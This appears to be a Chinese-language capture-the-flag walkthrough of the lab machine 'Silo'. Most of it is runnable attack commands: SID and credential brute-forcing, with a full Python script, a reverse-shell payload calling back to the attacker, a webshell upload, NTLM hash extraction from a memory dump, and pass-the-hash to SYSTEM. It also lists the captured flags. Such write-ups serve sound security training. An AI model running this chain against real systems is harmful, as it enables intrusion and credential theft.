[Meachines] [Medium] Silo Oracle DB读写执行文件+Oracle DB SID枚举+Oracle DB 用户密码枚举+内存取证+Hash传递攻击
字数 1020 2025-08-20 18:18:17
Oracle数据库渗透测试与权限提升综合指南
信息收集阶段
1. 端口扫描与识别
使用Nmap进行全端口扫描:
nmap -p- 10.10.10.82 --min-rate 1000 -sC -sV -Pn
发现的关键端口:
- 80/tcp: Microsoft IIS httpd 8.5
- 135/tcp: Microsoft Windows RPC
- 139/tcp: netbios-ssn
- 445/tcp: microsoft-ds (Windows Server 2008 R2 - 2012)
- 1521/tcp: Oracle TNS listener 11.2.0.2.0 (未授权)
- 49160/tcp: Oracle TNS listener (需要服务名)
Oracle数据库攻击
1. SID枚举
使用Metasploit模块爆破Oracle SID:
msfconsole
use admin/oracle/sid_brute
set RHOSTS 10.10.10.82
run
发现的潜在SID:
- XE
- XEXDB
- PLSExtProc
- CLRExtProc
2. 用户密码枚举
使用Python脚本爆破Oracle用户凭据:
#!/usr/bin/env python
import cx_Oracle
import sys
from multiprocessing import Pool
MAX_PROC = 50
host = "10.10.10.82"
sid = "XE"
def scan(userpass):
u, p = userpass.split(':')[:2]
try:
conn = cx_Oracle.connect('{user}/{pass_}@{ip}/{sid}'.format(
user=u, pass_=p, ip=host, sid=sid))
return u, p, True
except cx_Oracle.DatabaseError:
return u, p, False
def main(host, userpassfile, nprocs=MAX_PROC):
with open(userpassfile, 'r') as f:
userpass = f.read().rstrip().replace('\r','').split('\n')
pool = Pool(processes=nprocs)
for username, pass_, status in pool.imap_unordered(scan, [up for up in userpass]):
if status:
print("Found {} / {}\n\n".format(username, pass_))
else:
sys.stdout.write("\r {}/{} ".format(username, pass_))
if __name__ == '__main__':
if len(sys.argv) != 3:
print("{} [ip] [wordlist]".format(sys.argv[0]))
print(" wordlist should be of the format [username]:[password]")
sys.exit(1)
main(sys.argv[1], sys.argv[2])
成功获取的凭据:
- SCOTT:tiger
3. 数据库权限利用
使用ODAT工具进行权限检查:
odat all -s 10.10.10.82 -d XE -U SCOTT -P tiger --sysdba
发现具有写文件和执行权限。
3.1 上传反向Shell
生成payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.24 LPORT=10032 -f exe -o /tmp/reverse_shell.exe --encoder x86/shikata_ga_nai
上传并执行:
odat utlfile -s 10.10.10.82 --sysdba -d XE -U scott -P tiger --putFile C:/ reverse_shell.exe /tmp/reverse_shell.exe
odat externaltable -s 10.10.10.82 --sysdba -d XE -U scott -P tiger --exec c:/reverse_shell.exe
3.2 上传WebShell
更隐蔽的方法:
odat utlfile -s 10.10.10.82 --sysdba -d XE -U scott -P tiger --putFile C:/inetpub/wwwroot shell.aspx /usr/share/webshells/aspx/cmdasp.aspx
权限提升
1. 内存取证
从Dropbox链接获取内存转储文件(SILO-20180105-221806.dmp)
使用Volatility进行分析:
识别系统profile:
sudo docker run --rm -it -v /tmp:/tmp phocean/volatility vol.py kdbgscan -f /tmp/SILO-20180105-221806.dmp
获取注册表hive列表:
sudo docker run --rm -it -v /tmp:/tmp phocean/volatility vol.py -f /tmp/SILO-20180105-221806.dmp --profile Win2012R2x64 hivelist
提取哈希:
sudo docker run --rm -it -v /tmp:/tmp phocean/volatility vol.py -f /tmp/SILO-20180105-221806.dmp --profile Win2012R2x64 hashdump -y 0xffffc00000028000 -s 0xffffc00000619000
获取的NTLM哈希:
aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7
2. 哈希传递攻击
使用Impacket工具进行哈希传递:
impacket-psexec administrator@10.10.10.82 -hashes aad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7
关键文件
- User.txt: ae508318075a2c95be891b11d8c79212
- Root.txt: ef0298798ac15279f3b3aec8e4aa14e8
总结的技术要点
-
Oracle数据库渗透流程:
- SID枚举 → 用户爆破 → 权限检查 → 文件操作/命令执行
-
权限提升方法:
- 内存取证获取哈希 → 哈希传递攻击
-
关键工具:
- Nmap
- Metasploit (sid_brute模块)
- ODAT (Oracle数据库攻击工具)
- Volatility (内存取证)
- Impacket (哈希传递攻击)
-
防御建议:
- 加强Oracle数据库默认凭据
- 限制UTL_FILE等危险权限
- 启用强密码策略
- 禁用NTLM认证或启用Credential Guard